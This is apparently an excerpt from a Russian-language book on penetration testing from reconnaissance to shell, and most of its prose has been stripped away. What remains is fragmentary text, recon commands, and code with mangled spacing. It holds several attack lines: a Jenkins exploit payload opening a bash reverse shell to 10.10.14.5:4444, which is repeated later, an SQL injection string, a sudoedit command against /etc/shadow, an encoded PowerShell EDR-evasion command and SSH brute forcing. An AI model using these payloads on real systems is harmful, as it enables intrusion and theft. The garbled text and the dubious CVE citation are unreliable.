  Recon Shell
 


        ,   CTF   WAF.    ,  SQLi   (AWS, Azure),      ,   .  , ,    . ,    ,      -.  ,     !





    Recon  Shell



 



  , 2026



ISBN 978-5-0070-8389-8

     Ridero










        


,                 .   ,    ,      .    ,          ,    ,        .

        ,  :

    .    -,       .  ,    ,      .   ,     payload    WAF'?

  ,      YouTube.     copy-paste,   ,      .      ,          .

    .       ,      .   ,      ,     ,  ,      .

   .  ,   :   -,    , ,  .    ,       ,     .

   .        ,    ,  ,   .       ,       .



     

 ,   ,  ,     .  ,     ,     .             ,         .

,      ,          ,       .  ,  ,     .



1.     ,      *

         ,   .     ,     ,       .   :

   Red Team, Blue Team, Black Hat  Script Kiddies

    : scope, , NDA

     ,   ,   

     ,  ,   

2.           

   :

      (  )

       (WAF, , )

      ?  ? ?

      ,    

3.       

 :

 Recon: ,  

 CVE:  

 RCE: Remote Code Execution    

 WAF: Web Application Firewall  -

 Shell:   

  ..,    

4.  FAQ  ,   

     ?  ,    

    ?      , , VM  . .

  ,  ?   ,  backup-

     ?  ,  ,  

   ?    CTF   




  ,   


Red Team: ,  

    .   ,     ,   .  :  ,     Black Hat.  :

    

      

  :    0-day 

   :

      Jenkins- (CVE-2024-1337).  RCE  ,      ,     .

Black Hat: Ҹ 

    ,    .    ,    :

   (, )

   ransomware ( LockBit)

  

 :   - .   :   MAC-    .

Script Kiddies: -  

,     GitHub   ,    .

  ,   payload

      , IP, 

      Kali Linux  

  ?

 Red Team:

     .         Black Hat,    .

  :

    +    .      ,   .

    ?








   :     

c #1: Jenkins     

:   . :    CI/CD ,     2018 .

 :

,   Jenkins        RCE (CVE-2024-1337).           .

Payload:



curl-X POST http://target-jenkins/job/build -d script=sh (bash -c \bash -i> & /dev/tcp/10.10.14.5/4444 0> &1\)



:

 ,  ,            .         2     .

:

     ,  .   .



c #2: - -  SQLi  

     .   Nmap    ,     HTTP-.

 :

    SQL- .   ' OR 1=1  .

Payload  :



GET/search? q=' OR 1=1  



  WAF:

WAF   ,   payload  hex-  Burp Intruder  .

:

 dump   ,  email     (,  ).        .

:

    .        .



c #3:     

      .   ,      .

 :

     HR-       .

         SSL   .

   .

:

15%  , 5%   .          .

:

      .   ,     ,   .



c #4:     Linux-

:      root      SSH   .

 :

   CVE-2023-5678    sudo,       .

Payload:

sudoedit-s /etc/shadow



 ,     .

:

 ,    sysadmin,   .

:

       .



c #5:  EDR   PowerShell  Living off the Land

    EDR (Endpoint Detection and Response),      .

 :

 PowerShell-,      (WMI).           .

:



Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Process -Name Create -ArgumentList powershell -EncodedCommand <encoded_payload>



:

EDR  ,      .

:

      .   .





    ,    ,     ,      ,     .         hacking,    ,     .




    ,    ,   


1.        

           ,    ,     .

 

 Kali Linux / Parrot OS   ,    ,   .    ,    VM  .

 Nmap      .      :        .

 Burp Suite   . , repeater, intruder, extender      -.

 Metasploit Framework        .

 Gobuster / Subfinder / Amass    ,   .

 SQLmap      SQL-.

 Wireshark / tcpdump        .

 Hydra / Medusa     (    , ).

 Reverse Shell Payloads        bash, python, php, powershell.     .



 

 John the Ripper / Hashcat    .

 GDB / Radare2 / IDA Pro      -   .

 Docker        .



2. ,     

          -,     5 .

  

  .       . , ,    .

      . , ,    , TOR          IP.

  .     ,  ,     .

       .  .



   

      : Exploit-DB, CVE Details, Twitter ,  .

    :   Red Team,  , .

 : CTF, HTB, VulnHub      .



    

 ,     ,    .         .

    ,      .



3.     

      :

   tmux    .

 Vim  VSCode       payload.

 Git      .

 Python / Bash        .

 Proxychains + Tor      .

            .



4.       

		#   
		subfinder -d example.com-silent> subs. txt

		#      
		nmap -sV -p- open-T4 -oA fullscan example.com

		#  Burp Suite ( Pro   Extender)
		java -jar burpsuite_pro. jar

		# SQLmap   
		sqlmap -u "http://example.com/search.php?q=1"  batch  dbs

		#  Hydra  bruteforce ssh
		hydra -l root -P passwords. txt ssh://10.10.10.10

		#  reverse shell   
		bash -i> &/dev/tcp/10.10.14.5/4444 0> &1

5.      

   . ,     Black Hat     ?

   .    ,     .

   .    ,     .

   .    .





   ,   ,        .  ,          .          .




 1. Recon  ,     ,    





Passive vs Active:  , ,   ,      




    ,     ,      ,   .      ,             .  :    ,   ,     .



Passive Recon    

  ,        ,       .      .



   :

1. Google Dorking

Google        .       , ,    .



:

   :

		site:target.com ext: env OR ext: ini OR ext: conf

     :

		site:target.com intext: password

  -   :

		site:target.com inurl: admin

2. Shodan    

Shodan   Google     .    IP     , ,  .

  :

  , ,  

  Apache, Nginx,  

     

   Shodan:

		apache title: Welcome to nginx country: RU

3. Public Repositories  Social Media



 GitHub, GitLab      

 LinkedIn   ,  ,  

 Pastebin     



Active Recon    



    ,  .



1.  

   nmap:

		nmap-sS -p--T4 -oA fullscan target.com

 -sS  stealth SYN scan,   

 -p-    65535 

 -T4   

 -oA        



2.    



nmap-sV -p22,80,443 target.com



 ,            .



3.  

   OpenVAS  Nessus    .



  

    example.com.

  subfinder  :



subfinder-d example.com-silent> subs. txt



  Nmap:



nmap-sV -p--T4 -iL subs. txt-oN all_ports. txt



   -  Gobuster:



gobusterdir-u http://admin.example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium. txt



  

    nmap         .   .

       ,      .

  ,     .

     .





     .   ,     ,   . Passive recon    , active    .  ,     ,     .




, IP, ,    ,  


1.      

         .       ,      .

  ?

    

      WAF

      dev-  

      

  ?

:

 subfinder    

 Amass   ,     

 findomain    

 -: VirusTotal, crt.sh (), SecurityTrails

  subfinder:

		subfinder-d example.com-silent> subs. txt

Amass    :

		amass enum -d example.com-o amass_output. txt

   ?

massdns    DNS:

		massdns-r resolvers. txt-t A -w alive. txt subs. txt

2. IP-    

 ,   ,     IP. IP    ,     .

  IP?

    Linux:

		dig+short example.com

        dig  massdns

     HackerTarget  VirusTotal   

 :         IP  CDN       .



3.       

 IP    : -,  , ftp   .

 ,   :

 HTTP/HTTPS (80,443)  -

 SSH (22)   

 FTP (21)   

 SMTP (25)   

 SQL- (3306, 5432)   

 SMB (445)    Windows

     ?

nmap  :

		nmap-sV -p 22,80,443,3306,445 192.168.1.100

 -sV    

    

      .



4.      

     .   ,   .

    ?

nmap  :

		nmap-p--T4 192.168.1.100

 -p-   

 -T4   

   ?

       

       

     



5.      

           .

,  Python:

		import subprocess

		domains =open('subs.txt').read ().splitlines ()
		for domain in domains:
		ip = subprocess.getoutput (fdig +short {domain})
		print (f {domain}: {ip})

6.    



   :

		subfinder-d example.com-silent> subs. txt

  :

		massdns-r resolvers. txt-t A -w alive. txt subs. txt

  IP:

		cat alive. txt| cut -d ' ' -f 1 | xargs -I {} dig +short {}

   :

		nmap-sV -p--iL alive. txt-oN scan_results. txt

  ,    CVE.





, IP,        ,     .       .             .




   


1.      

subfinder  , , 

		subfinder-d example.com-silent> subs. txt

 silent     ,    .



    massdns

		massdns-r resolvers. txt-t A -w alive. txt subs. txt

resolvers. txt    (DNS-). Alive. txt   .



2.  IP    



 bash:

		cat alive. txt| cut -d ' ' -f 1 |while read domain; do dig +short $domain; done> ips. txt

        .



3.       nmap



      :

		nmap-sS -p--T4 -oA fullscan  open-iL ips. txt

 -sS  stealth SYN scan,   

 -p-   65535 

 -T4  

  open     

 -iL    (ip  ips. txt)

 -oA      (.nmap,.gnmap,.xml)



4.       

		nmap-sV -p$ (cat fullscan.gnmap| grep open| cut -d ' ' -f 2 | tr '\n,)-iL ips. txt-oN services. txt

          .



5.        Gobuster

		gobusterdir-u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium. txt-t 50 -o gobuster. log

 -w  

 -t     

 -o  



6.   SQL   sqlmap

		sqlmap-u "http://example.com/product?id=1"  batch  threads=10  dbs

  batch    ( )

  threads  

  dbs    



7.      crt.sh

		curl "https://crt.sh/?q=%.example.com&output=json" | jq. [] |.name_value | sort -u

    .



8.      Shodan

		shodan search  limit 100 "hostname:example.com

 API .  ,   .



9. Python      

		import subprocess

		def run_cmd (cmd):
		result = subprocess.run (cmd, shell=True, stdout=subprocess. PIPE)
		return result.stdout.decode ()

		#  
		domains = run_cmd (subfinder -d example.com -silent)
		withopen (subs. txt, w)as f:
		f. write (domains)

		#  
		alive = run_cmd (massdns -r resolvers. txt -t A -w alive. txt subs. txt)

		#  IP
		withopen (alive. txt)as f:
		subs = f.readlines ()

		ips =[]
		for line in subs:
		domain = line. split () [0]
		ip = run_cmd (fdig +short {domain}').strip ()
		if ip:
		ips. append (ip)
		withopen (ips. txt, w)as f:
		f.write('\n'.join (ips))

		#  nmap
		nmap_cmd = f"nmap -sS -p- -T4 -oA fullscan  open -iL ips. txt
		print (Running nmap)
		print (run_cmd (nmap_cmd))

10.  

  tmux     .

    ,    .

      bash-  .





    ,     ,     ,   .    ,       ,  .



:

1.     pipeline  Recon   subfinder  nmap

?

        .   ,   .



?

    bash  Python, :

  subfinder  amass  ,  .

    massdns  dnsx  .

     IP  dig  massdns.

     nmap (-sS -p-).

     (-sV).

       .



 snippet  bash:

		#!/bin/bash
		domain=$1
		subfinder -d $domain -silent> subs. txt
		massdns -r resolvers. txt-t A -w alive. txt subs. txt
		awk {print $1} alive. txt| sed s/\.$//'> alive_domains. txt
		for d in $ (cat alive_domains. txt); do dig +short $d; done> ips. txt
		nmap -sS -p--T4 -oA fullscan -iL ips. txt
		nmap -sV -p--T4 -oN services. txt-iL ips. txt
		echo Recon pipeline completed for $domain

2.  -       HTML  Markdown



?

   . , ,       .

?

  Markdown     .

    :  , , IP,    .

   Python   markdown   .



  Markdown:

		#  Recon  example.com

		## 

		 sub1.example.com
		 dev.example.com

		##  

		 sub1.example.com(192.168.1.1)
		 dev.example.com(192.168.1.2)

		##    

| IP |  |  |  |

|   |    |     |     |

| 192.168.1.1 | 80 | HTTP | Apache 2.4.29 |

| 192.168.1.2 | 22 | SSH | OpenSSH 7.6p1 |



3.    Google Dork      



?



  ,    .   .




  .


   .

   ,     (https://www.litres.ru/pages/biblio_book/?art=74301914)  .

      Visa, MasterCard, Maestro,    ,   ,     ,  PayPal, WebMoney, ., QIWI ,       .


